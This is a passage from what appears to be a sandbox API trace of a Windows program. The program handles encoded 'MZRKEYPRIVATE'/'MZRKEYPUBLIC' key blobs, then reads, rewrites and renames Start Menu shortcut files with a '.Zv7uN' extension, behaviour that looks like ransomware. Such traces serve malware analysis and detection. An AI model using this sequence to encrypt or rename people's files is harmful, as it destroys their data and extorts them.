| out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.739] GetCurrentThreadId () returned 0xa30 [0132.739] GetCurrentThreadId () returned 0xa30 [0132.739] GetCurrentThreadId () returned 0xa30 [0132.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.740] GetCurrentThreadId () returned 0xa30 [0132.740] GetCurrentThreadId () returned 0xa30 [0132.740] GetCurrentThreadId () returned 0xa30 [0132.740] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.740] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.740] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.740] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4ee [0132.741] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.741] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4ee, lpOverlapped=0x0) returned 1 [0132.744] CloseHandle (hObject=0x1e8) returned 1 [0132.745] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.747] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4ee, lpOverlapped=0x0) returned 1 [0132.750] CloseHandle (hObject=0x1e8) returned 1 [0132.750] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk.zv7un")) returned 1 [0132.751] GetCurrentThreadId () returned 0xa30 [0132.751] GetCurrentThreadId () returned 0xa30 [0132.751] GetCurrentThreadId () returned 0xa30 [0132.751] GetCurrentThreadId () returned 0xa30 [0132.751] GetCurrentThreadId () returned 0xa30 [0132.751] GetCurrentThreadId () returned 0xa30 [0132.751] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Security Configuration Management.lnk", cAlternateFileName="SECURI~1.LNK")) returned 1 [0132.751] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.752] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.752] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0132.753] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk")) returned 0x20 [0132.753] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk", dwFileAttributes=0x80) returned 1 [0132.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.756] GetCurrentThreadId () returned 0xa30 [0132.756] GetCurrentThreadId () returned 0xa30 [0132.756] GetCurrentThreadId () returned 0xa30 [0132.757] WideCharToMultiByte (in: 